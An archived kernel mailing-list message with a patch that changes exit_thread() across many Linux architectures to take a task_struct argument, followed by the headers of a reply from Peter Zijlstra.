Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1aj4qi-0005ar-1I
	for sgi-linux-mips@gmane.org; Thu, 24 Mar 2016 13:58:52 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:49262 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27024885AbcCXM6sq4qOQ (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 24 Mar 2016 13:58:48 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 24 Mar 2016 13:58:32 +0100 (CET)
Original-Received: from mx2.suse.de ([195.135.220.15]:54097 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27008135AbcCXM6ZE7LOQ (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 24 Mar 2016 13:58:25 +0100
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id B6B34ADBA;
        Thu, 24 Mar 2016 12:58:18 +0000 (UTC)
X-Mailer: git-send-email 2.7.4
X-archive-position: 52694
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jslaby@suse.cz
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:53853 gmane.linux.kernel:2183458 gmane.linux.ports.alpha:3534 gmane.linux.kernel.arc:756 gmane.linux.ports.arm.kernel:487831 gmane.linux.ports.hexagon:988 gmane.linux.ports.ia64:26464 gmane.linux.kernel.metag:1040 gmane.linux.ports.parisc:26539 gmane.linux.ports.ppc64.devel:125152 gmane.linux.ports.sh.devel:53600 gmane.linux.ports.sparc:22620 gmane.linux.uml.devel:15835 gmane.linux.uml.user:14999
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/53853>

We need to call exit_thread from copy_process in a fail path.  So make
it accept task_struct as a parameter.

Signed-off-by: Jiri Slaby <jslaby@suse.cz>
Cc: Richard Henderson <rth@twiddle.net>
Cc: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Cc: Matt Turner <mattst88@gmail.com>
Cc: Vineet Gupta <vgupta@synopsys.com>
Cc: Russell King <linux@arm.linux.org.uk>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Haavard Skinnemoen <hskinnemoen@gmail.com>
Cc: Hans-Christian Egtvedt <egtvedt@samfundet.no>
Cc: Steven Miao <realmz6@gmail.com>
Cc: Mark Salter <msalter@redhat.com>
Cc: Aurelien Jacquiot <a-jacquiot@ti.com>
Cc: Mikael Starvik <starvik@axis.com>
Cc: Jesper Nilsson <jesper.nilsson@axis.com>
Cc: Yoshinori Sato <ysato@users.sourceforge.jp>
Cc: Richard Kuo <rkuo@codeaurora.org>
Cc: Tony Luck <tony.luck@intel.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: James Hogan <james.hogan@imgtec.com>
Cc: Michal Simek <monstr@monstr.eu>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: David Howells <dhowells@redhat.com>
Cc: Koichi Yasutake <yasutake.koichi@jp.panasonic.com>
Cc: Ley Foon Tan <lftan@altera.com>
Cc: Jonas Bonn <jonas@southpole.se>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Paul Mackerras <paulus@samba.org>
Cc: Michael Ellerman <mpe@ellerman.id.au>
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Chen Liqin <liqin.linux@gmail.com>
Cc: Lennox Wu <lennox.wu@gmail.com>
Cc: Rich Felker <dalias@libc.org>
Cc: "David S. Miller" <davem@davemloft.net>
Cc: Chris Metcalf <cmetcalf@mellanox.com>
Cc: Jeff Dike <jdike@addtoit.com>
Cc: Richard Weinberger <richard@nod.at>
Cc: Guan Xuetao <gxt@mprc.pku.edu.cn>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: "H. Peter Anvin" <hpa@zytor.com>
Cc: x86@kernel.org
Cc: Chris Zankel <chris@zankel.net>
Cc: Max Filippov <jcmvbkbc@gmail.com>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-snps-arc@lists.infradead.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: adi-buildroot-devel@lists.sourceforge.net
Cc: linux-c6x-dev@linux-c6x.org
Cc: linux-cris-kernel@axis.com
Cc: uclinux-h8-devel@lists.sourceforge.jp
Cc: linux-hexagon@vger.kernel.org
Cc: linux-ia64@vger.kernel.org
Cc: linux-m68k@lists.linux-m68k.org
Cc: linux-metag@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-am33-list@redhat.com
Cc: nios2-dev@lists.rocketboards.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Cc: sparclinux@vger.kernel.org
Cc: user-mode-linux-devel@lists.sourceforge.net
Cc: user-mode-linux-user@lists.sourceforge.net
Cc: linux-xtensa@linux-xtensa.org
---
 arch/alpha/kernel/process.c             |  2 +-
 arch/arc/kernel/process.c               |  2 +-
 arch/arm/kernel/process.c               |  4 ++--
 arch/arm64/kernel/process.c             |  2 +-
 arch/avr32/kernel/process.c             |  4 ++--
 arch/blackfin/include/asm/processor.h   |  2 +-
 arch/c6x/kernel/process.c               |  2 +-
 arch/cris/arch-v10/kernel/process.c     |  2 +-
 arch/cris/arch-v32/kernel/process.c     |  4 ++--
 arch/frv/include/asm/processor.h        |  2 +-
 arch/h8300/include/asm/processor.h      |  2 +-
 arch/hexagon/kernel/process.c           |  2 +-
 arch/ia64/kernel/perfmon.c              |  4 ++--
 arch/ia64/kernel/process.c              | 14 +++++++-------
 arch/m32r/kernel/process.c              |  4 ++--
 arch/m68k/include/asm/processor.h       |  2 +-
 arch/metag/include/asm/processor.h      |  2 +-
 arch/metag/kernel/process.c             |  6 +++---
 arch/microblaze/include/asm/processor.h |  4 ++--
 arch/mips/kernel/process.c              |  2 +-
 arch/mn10300/kernel/process.c           |  4 ++--
 arch/nios2/include/asm/processor.h      |  2 +-
 arch/openrisc/include/asm/processor.h   |  2 +-
 arch/parisc/kernel/process.c            |  2 +-
 arch/powerpc/kernel/process.c           |  2 +-
 arch/s390/kernel/process.c              |  4 ++--
 arch/score/kernel/process.c             |  2 +-
 arch/sh/kernel/process_32.c             |  2 +-
 arch/sh/kernel/process_64.c             |  4 ++--
 arch/sparc/kernel/process_32.c          | 12 ++++++------
 arch/sparc/kernel/process_64.c          |  4 ++--
 arch/tile/kernel/process.c              |  4 ++--
 arch/um/kernel/process.c                |  2 +-
 arch/unicore32/kernel/process.c         |  2 +-
 arch/x86/kernel/process.c               |  3 +--
 arch/xtensa/kernel/process.c            |  4 ++--
 include/linux/sched.h                   |  2 +-
 kernel/exit.c                           |  2 +-
 38 files changed, 63 insertions(+), 64 deletions(-)

diff --git a/arch/alpha/kernel/process.c b/arch/alpha/kernel/process.c
index 84d13263ce46..1e044d1f7525 100644
--- a/arch/alpha/kernel/process.c
+++ b/arch/alpha/kernel/process.c
@@ -214,7 +214,7 @@ EXPORT_SYMBOL(start_thread);
  * Free current thread data structures etc..
  */
 void
-exit_thread(void)
+exit_thread(struct task_struct *me)
 {
 }
 
diff --git a/arch/arc/kernel/process.c b/arch/arc/kernel/process.c
index a3f750e76b68..70944dfab6c6 100644
--- a/arch/arc/kernel/process.c
+++ b/arch/arc/kernel/process.c
@@ -186,7 +186,7 @@ void flush_thread(void)
 /*
  * Free any architecture-specific thread data structures, etc.
  */
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
 }
 
diff --git a/arch/arm/kernel/process.c b/arch/arm/kernel/process.c
index 4adfb46e3ee9..e8ecd02bf7ea 100644
--- a/arch/arm/kernel/process.c
+++ b/arch/arm/kernel/process.c
@@ -193,9 +193,9 @@ EXPORT_SYMBOL_GPL(thread_notify_head);
 /*
  * Free current thread data structures etc..
  */
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
-	thread_notify(THREAD_NOTIFY_EXIT, current_thread_info());
+	thread_notify(THREAD_NOTIFY_EXIT, task_thread_info(me));
 }
 
 void flush_thread(void)
diff --git a/arch/arm64/kernel/process.c b/arch/arm64/kernel/process.c
index 80624829db61..84b288c85e4a 100644
--- a/arch/arm64/kernel/process.c
+++ b/arch/arm64/kernel/process.c
@@ -203,7 +203,7 @@ void show_regs(struct pt_regs * regs)
 /*
  * Free current thread data structures etc..
  */
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
 }
 
diff --git a/arch/avr32/kernel/process.c b/arch/avr32/kernel/process.c
index 42a53e740a7e..ea21d0e99b6b 100644
--- a/arch/avr32/kernel/process.c
+++ b/arch/avr32/kernel/process.c
@@ -62,9 +62,9 @@ void machine_restart(char *cmd)
 /*
  * Free current thread data structures etc
  */
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
-	ocd_disable(current);
+	ocd_disable(me);
 }
 
 void flush_thread(void)
diff --git a/arch/blackfin/include/asm/processor.h b/arch/blackfin/include/asm/processor.h
index 7acd46653df3..7aa6cd0ac8d9 100644
--- a/arch/blackfin/include/asm/processor.h
+++ b/arch/blackfin/include/asm/processor.h
@@ -78,7 +78,7 @@ static inline void release_thread(struct task_struct *dead_task)
 /*
  * Free current thread data structures etc..
  */
-static inline void exit_thread(void)
+static inline void exit_thread(struct task_struct *me)
 {
 }
 
diff --git a/arch/c6x/kernel/process.c b/arch/c6x/kernel/process.c
index 3ae9f5a166a0..4b2dfb1d330d 100644
--- a/arch/c6x/kernel/process.c
+++ b/arch/c6x/kernel/process.c
@@ -82,7 +82,7 @@ void flush_thread(void)
 {
 }
 
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
 }
 
diff --git a/arch/cris/arch-v10/kernel/process.c b/arch/cris/arch-v10/kernel/process.c
index 02b783457be0..2aaaccc3883c 100644
--- a/arch/cris/arch-v10/kernel/process.c
+++ b/arch/cris/arch-v10/kernel/process.c
@@ -39,7 +39,7 @@ void default_idle(void)
  * Free current thread data structures etc..
  */
 
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
 	/* Nothing needs to be done.  */
 }
diff --git a/arch/cris/arch-v32/kernel/process.c b/arch/cris/arch-v32/kernel/process.c
index c7ce784a393c..5f55d15366ea 100644
--- a/arch/cris/arch-v32/kernel/process.c
+++ b/arch/cris/arch-v32/kernel/process.c
@@ -33,9 +33,9 @@ void default_idle(void)
  */
 
 extern void deconfigure_bp(long pid);
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
-	deconfigure_bp(current->pid);
+	deconfigure_bp(me->pid);
 }
 
 /*
diff --git a/arch/frv/include/asm/processor.h b/arch/frv/include/asm/processor.h
index ae8d423e79d9..cff4440abcee 100644
--- a/arch/frv/include/asm/processor.h
+++ b/arch/frv/include/asm/processor.h
@@ -99,7 +99,7 @@ extern asmlinkage void *restore_user_regs(const struct user_context *target, ...
 /*
  * Free current thread data structures etc..
  */
-static inline void exit_thread(void)
+static inline void exit_thread(struct task_struct *me)
 {
 }
 
diff --git a/arch/h8300/include/asm/processor.h b/arch/h8300/include/asm/processor.h
index 54e3fd83c336..d79f99c645ad 100644
--- a/arch/h8300/include/asm/processor.h
+++ b/arch/h8300/include/asm/processor.h
@@ -113,7 +113,7 @@ static inline void release_thread(struct task_struct *dead_task)
 /*
  * Free current thread data structures etc..
  */
-static inline void exit_thread(void)
+static inline void exit_thread(struct task_struct *me)
 {
 }
 
diff --git a/arch/hexagon/kernel/process.c b/arch/hexagon/kernel/process.c
index a9ebd471823a..228b77433fe8 100644
--- a/arch/hexagon/kernel/process.c
+++ b/arch/hexagon/kernel/process.c
@@ -139,7 +139,7 @@ void release_thread(struct task_struct *dead_task)
 /*
  * Free any architecture-specific thread data structures, etc.
  */
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
 }
 
diff --git a/arch/ia64/kernel/perfmon.c b/arch/ia64/kernel/perfmon.c
index 9cd607b06964..2436ad5f92c1 100644
--- a/arch/ia64/kernel/perfmon.c
+++ b/arch/ia64/kernel/perfmon.c
@@ -4542,8 +4542,8 @@ pfm_context_unload(pfm_context_t *ctx, void *arg, int count, struct pt_regs *reg
 
 
 /*
- * called only from exit_thread(): task == current
- * we come here only if current has a context attached (loaded or masked)
+ * called only from exit_thread()
+ * we come here only if the task has a context attached (loaded or masked)
  */
 void
 pfm_exit_thread(struct task_struct *task)
diff --git a/arch/ia64/kernel/process.c b/arch/ia64/kernel/process.c
index b51514957620..445f09fb2820 100644
--- a/arch/ia64/kernel/process.c
+++ b/arch/ia64/kernel/process.c
@@ -570,22 +570,22 @@ flush_thread (void)
 }
 
 /*
- * Clean up state associated with current thread.  This is called when
+ * Clean up state associated with a thread.  This is called when
  * the thread calls exit().
  */
 void
-exit_thread (void)
+exit_thread (struct task_struct *me)
 {
 
-	ia64_drop_fpu(current);
+	ia64_drop_fpu(me);
 #ifdef CONFIG_PERFMON
        /* if needed, stop monitoring and flush state to perfmon context */
-	if (current->thread.pfm_context)
-		pfm_exit_thread(current);
+	if (me->thread.pfm_context)
+		pfm_exit_thread(me);
 
 	/* free debug register resources */
-	if (current->thread.flags & IA64_THREAD_DBG_VALID)
-		pfm_release_debug_registers(current);
+	if (me->thread.flags & IA64_THREAD_DBG_VALID)
+		pfm_release_debug_registers(me);
 #endif
 }
 
diff --git a/arch/m32r/kernel/process.c b/arch/m32r/kernel/process.c
index e69221d581d5..00a41866b05e 100644
--- a/arch/m32r/kernel/process.c
+++ b/arch/m32r/kernel/process.c
@@ -104,10 +104,10 @@ void show_regs(struct pt_regs * regs)
 /*
  * Free current thread data structures etc..
  */
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
 	/* Nothing to do. */
-	DPRINTK("pid = %d\n", current->pid);
+	DPRINTK("pid = %d\n", me->pid);
 }
 
 void flush_thread(void)
diff --git a/arch/m68k/include/asm/processor.h b/arch/m68k/include/asm/processor.h
index 20dda1d4b860..57ef5d420307 100644
--- a/arch/m68k/include/asm/processor.h
+++ b/arch/m68k/include/asm/processor.h
@@ -156,7 +156,7 @@ static inline void release_thread(struct task_struct *dead_task)
 /*
  * Free current thread data structures etc..
  */
-static inline void exit_thread(void)
+static inline void exit_thread(struct task_struct *me)
 {
 }
 
diff --git a/arch/metag/include/asm/processor.h b/arch/metag/include/asm/processor.h
index 0838ca699764..daf7943168f0 100644
--- a/arch/metag/include/asm/processor.h
+++ b/arch/metag/include/asm/processor.h
@@ -134,7 +134,7 @@ static inline void release_thread(struct task_struct *dead_task)
 #define copy_segments(tsk, mm)		do { } while (0)
 #define release_segments(mm)		do { } while (0)
 
-extern void exit_thread(void);
+extern void exit_thread(struct task_struct *me);
 
 /*
  * Return saved PC of a blocked thread.
diff --git a/arch/metag/kernel/process.c b/arch/metag/kernel/process.c
index 7f546183a0f0..f5c507c3d804 100644
--- a/arch/metag/kernel/process.c
+++ b/arch/metag/kernel/process.c
@@ -345,10 +345,10 @@ void flush_thread(void)
 /*
  * Free current thread data structures etc.
  */
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
-	clear_fpu(&current->thread);
-	clear_dsp(&current->thread);
+	clear_fpu(&me->thread);
+	clear_dsp(&me->thread);
 }
 
 /* TODO: figure out how to unwind the kernel stack here to figure out
diff --git a/arch/microblaze/include/asm/processor.h b/arch/microblaze/include/asm/processor.h
index 497a988d79c2..41300e76aac0 100644
--- a/arch/microblaze/include/asm/processor.h
+++ b/arch/microblaze/include/asm/processor.h
@@ -71,7 +71,7 @@ static inline void release_thread(struct task_struct *dead_task)
 }
 
 /* Free all resources held by a thread. */
-static inline void exit_thread(void)
+static inline void exit_thread(struct task_struct *me)
 {
 }
 
@@ -128,7 +128,7 @@ static inline void release_thread(struct task_struct *dead_task)
 }
 
 /* Free current thread data structures etc.  */
-static inline void exit_thread(void)
+static inline void exit_thread(struct task_struct *me)
 {
 }
 
diff --git a/arch/mips/kernel/process.c b/arch/mips/kernel/process.c
index 92880cee449e..26f90e9ea288 100644
--- a/arch/mips/kernel/process.c
+++ b/arch/mips/kernel/process.c
@@ -73,7 +73,7 @@ void start_thread(struct pt_regs * regs, unsigned long pc, unsigned long sp)
 	regs->regs[29] = sp;
 }
 
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
 }
 
diff --git a/arch/mn10300/kernel/process.c b/arch/mn10300/kernel/process.c
index 74a96ccf7451..99d73b5c2d33 100644
--- a/arch/mn10300/kernel/process.c
+++ b/arch/mn10300/kernel/process.c
@@ -103,9 +103,9 @@ void show_regs(struct pt_regs *regs)
 /*
  * free current thread data structures etc..
  */
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
-	exit_fpu(current);
+	exit_fpu(me);
 }
 
 void flush_thread(void)
diff --git a/arch/nios2/include/asm/processor.h b/arch/nios2/include/asm/processor.h
index c2ba45c159c7..a8443c158d65 100644
--- a/arch/nios2/include/asm/processor.h
+++ b/arch/nios2/include/asm/processor.h
@@ -76,7 +76,7 @@ static inline void release_thread(struct task_struct *dead_task)
 }
 
 /* Free current thread data structures etc.. */
-static inline void exit_thread(void)
+static inline void exit_thread(struct task_struct *me)
 {
 }
 
diff --git a/arch/openrisc/include/asm/processor.h b/arch/openrisc/include/asm/processor.h
index 4d235e3d2534..26a8f3760a71 100644
--- a/arch/openrisc/include/asm/processor.h
+++ b/arch/openrisc/include/asm/processor.h
@@ -88,7 +88,7 @@ unsigned long get_wchan(struct task_struct *p);
  * Free current thread data structures etc..
  */
 
-extern inline void exit_thread(void)
+extern inline void exit_thread(struct task_struct *me)
 {
 	/* Nothing needs to be done.  */
 }
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 809905a811ed..5750fe642202 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -147,7 +147,7 @@ EXPORT_SYMBOL(pm_power_off);
 /*
  * Free current thread data structures etc..
  */
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
 }
 
diff --git a/arch/powerpc/kernel/process.c b/arch/powerpc/kernel/process.c
index 612df305886b..bb6da7f3c27b 100644
--- a/arch/powerpc/kernel/process.c
+++ b/arch/powerpc/kernel/process.c
@@ -1326,7 +1326,7 @@ void show_regs(struct pt_regs * regs)
 		show_instructions(regs);
 }
 
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
 }
 
diff --git a/arch/s390/kernel/process.c b/arch/s390/kernel/process.c
index 7fabc985a7dd..b86625490090 100644
--- a/arch/s390/kernel/process.c
+++ b/arch/s390/kernel/process.c
@@ -70,9 +70,9 @@ extern void kernel_thread_starter(void);
 /*
  * Free current thread data structures etc..
  */
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
-	exit_thread_runtime_instr(current);
+	exit_thread_runtime_instr(me);
 }
 
 void flush_thread(void)
diff --git a/arch/score/kernel/process.c b/arch/score/kernel/process.c
index a1519ad3d49d..de22a45558d6 100644
--- a/arch/score/kernel/process.c
+++ b/arch/score/kernel/process.c
@@ -56,7 +56,7 @@ void start_thread(struct pt_regs *regs, unsigned long pc, unsigned long sp)
 	regs->regs[0] = sp;
 }
 
-void exit_thread(void) {}
+void exit_thread(struct task_struct *me) {}
 
 /*
  * When a process does an "exec", machine state like FPU and debug
diff --git a/arch/sh/kernel/process_32.c b/arch/sh/kernel/process_32.c
index 2885fc9d9dcd..4e360f2be5fd 100644
--- a/arch/sh/kernel/process_32.c
+++ b/arch/sh/kernel/process_32.c
@@ -79,7 +79,7 @@ EXPORT_SYMBOL(start_thread);
 /*
  * Free current thread data structures etc..
  */
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
 }
 
diff --git a/arch/sh/kernel/process_64.c b/arch/sh/kernel/process_64.c
index e2062e643341..8bb717f5bfc9 100644
--- a/arch/sh/kernel/process_64.c
+++ b/arch/sh/kernel/process_64.c
@@ -288,7 +288,7 @@ void show_regs(struct pt_regs *regs)
 /*
  * Free current thread data structures etc..
  */
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
 	/*
 	 * See arch/sparc/kernel/process.c for the precedent for doing
@@ -307,7 +307,7 @@ void exit_thread(void)
 	 * which it would get safely nulled.
 	 */
 #ifdef CONFIG_SH_FPU
-	if (last_task_used_math == current) {
+	if (last_task_used_math == me) {
 		last_task_used_math = NULL;
 	}
 #endif
diff --git a/arch/sparc/kernel/process_32.c b/arch/sparc/kernel/process_32.c
index c5113c7ce2fd..00ade5a2f5e8 100644
--- a/arch/sparc/kernel/process_32.c
+++ b/arch/sparc/kernel/process_32.c
@@ -184,21 +184,21 @@ unsigned long thread_saved_pc(struct task_struct *tsk)
 /*
  * Free current thread data structures etc..
  */
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
 #ifndef CONFIG_SMP
-	if(last_task_used_math == current) {
+	if (last_task_used_math == me) {
 #else
-	if (test_thread_flag(TIF_USEDFPU)) {
+	if (test_ti_thread_flag(task_thread_info(me), TIF_USEDFPU)) {
 #endif
 		/* Keep process from leaving FPU in a bogon state. */
 		put_psr(get_psr() | PSR_EF);
-		fpsave(&current->thread.float_regs[0], &current->thread.fsr,
-		       &current->thread.fpqueue[0], &current->thread.fpqdepth);
+		fpsave(&me->thread.float_regs[0], &me->thread.fsr,
+		       &me->thread.fpqueue[0], &me->thread.fpqdepth);
 #ifndef CONFIG_SMP
 		last_task_used_math = NULL;
 #else
-		clear_thread_flag(TIF_USEDFPU);
+		clear_ti_thread_flag(task_thread_info(me), TIF_USEDFPU);
 #endif
 	}
 }
diff --git a/arch/sparc/kernel/process_64.c b/arch/sparc/kernel/process_64.c
index 46a59643bb1c..5cb4077f5cb8 100644
--- a/arch/sparc/kernel/process_64.c
+++ b/arch/sparc/kernel/process_64.c
@@ -417,9 +417,9 @@ unsigned long thread_saved_pc(struct task_struct *tsk)
 }
 
 /* Free current thread data structures etc.. */
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
-	struct thread_info *t = current_thread_info();
+	struct thread_info *t = task_thread_info(me);
 
 	if (t->utraps) {
 		if (t->utraps[0] < 2)
diff --git a/arch/tile/kernel/process.c b/arch/tile/kernel/process.c
index b5f30d376ce1..94080d327efc 100644
--- a/arch/tile/kernel/process.c
+++ b/arch/tile/kernel/process.c
@@ -541,7 +541,7 @@ void flush_thread(void)
 /*
  * Free current thread data structures etc..
  */
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
 #ifdef CONFIG_HARDWALL
 	/*
@@ -550,7 +550,7 @@ void exit_thread(void)
 	 * the last reference to a hardwall fd, it would already have
 	 * been released and deactivated at this point.)
 	 */
-	hardwall_deactivate_all(current);
+	hardwall_deactivate_all(me);
 #endif
 }
 
diff --git a/arch/um/kernel/process.c b/arch/um/kernel/process.c
index 48af59aae129..06eb532965d1 100644
--- a/arch/um/kernel/process.c
+++ b/arch/um/kernel/process.c
@@ -103,7 +103,7 @@ void interrupt_end(void)
 		tracehook_notify_resume(regs);
 }
 
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
 }
 
diff --git a/arch/unicore32/kernel/process.c b/arch/unicore32/kernel/process.c
index b008e9961465..7c23697bc2ed 100644
--- a/arch/unicore32/kernel/process.c
+++ b/arch/unicore32/kernel/process.c
@@ -204,7 +204,7 @@ void show_regs(struct pt_regs *regs)
 /*
  * Free current thread data structures etc..
  */
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
 }
 
diff --git a/arch/x86/kernel/process.c b/arch/x86/kernel/process.c
index 2915d54e9dd5..55c97e4ef71b 100644
--- a/arch/x86/kernel/process.c
+++ b/arch/x86/kernel/process.c
@@ -97,9 +97,8 @@ int arch_dup_task_struct(struct task_struct *dst, struct task_struct *src)
 /*
  * Free current thread data structures etc..
  */
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
-	struct task_struct *me = current;
 	struct thread_struct *t = &me->thread;
 	unsigned long *bp = t->io_bitmap_ptr;
 	struct fpu *fpu = &t->fpu;
diff --git a/arch/xtensa/kernel/process.c b/arch/xtensa/kernel/process.c
index 5bbfed81c97b..6f3b54eb346c 100644
--- a/arch/xtensa/kernel/process.c
+++ b/arch/xtensa/kernel/process.c
@@ -115,10 +115,10 @@ void arch_cpu_idle(void)
 /*
  * This is called when the thread calls exit().
  */
-void exit_thread(void)
+void exit_thread(struct task_struct *me)
 {
 #if XTENSA_HAVE_COPROCESSORS
-	coprocessor_release_all(current_thread_info());
+	coprocessor_release_all(task_thread_info(me));
 #endif
 }
 
diff --git a/include/linux/sched.h b/include/linux/sched.h
index af5cc4768026..db4daa3aa894 100644
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -2648,7 +2648,7 @@ static inline int copy_thread_tls(
 }
 #endif
 extern void flush_thread(void);
-extern void exit_thread(void);
+extern void exit_thread(struct task_struct *);
 
 extern void exit_files(struct task_struct *);
 extern void __cleanup_sighand(struct sighand_struct *);
diff --git a/kernel/exit.c b/kernel/exit.c
index fd90195667e1..75b34fe835b2 100644
--- a/kernel/exit.c
+++ b/kernel/exit.c
@@ -746,7 +746,7 @@ void do_exit(long code)
 		disassociate_ctty(1);
 	exit_task_namespaces(tsk);
 	exit_task_work(tsk);
-	exit_thread();
+	exit_thread(tsk);
 
 	/*
 	 * Flush inherited counters to the parent - before the parent
-- 
2.7.4




From - Thu Nov 08 21:38:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: Re: [PATCH 3/4] exit_thread: accept a task parameter to be exited
Date: Thu, 24 Mar 2016 14:03:03 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20160324130303.GS6356@twins.programming.kicks-ass.net>
References: <1458824294-29733-1-git-send-email-jslaby@suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1458824665 3960 80.91.229.3 (24 Mar 2016 13:04:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Mar 2016 13:04:25 +0000 (UTC)
Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Russell King <linux@arm.linux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Steven Miao <realmz6@gmail.com>,
        Mark Salter <msalter@redhat.com>,
        Aurelien Jacquiot <a-jacquiot@ti.com>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
To: Jiri Slaby <jslaby@suse.cz>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Mar 24 14:04:07 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1aj4vm-0001Gv-SE
	for sgi-linux-mips@gmane.org; Thu, 24 Mar 2016 14:04:06 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:49578 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27024888AbcCXNEEEcaPQ (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 24 Mar 2016 14:04:04 +0100
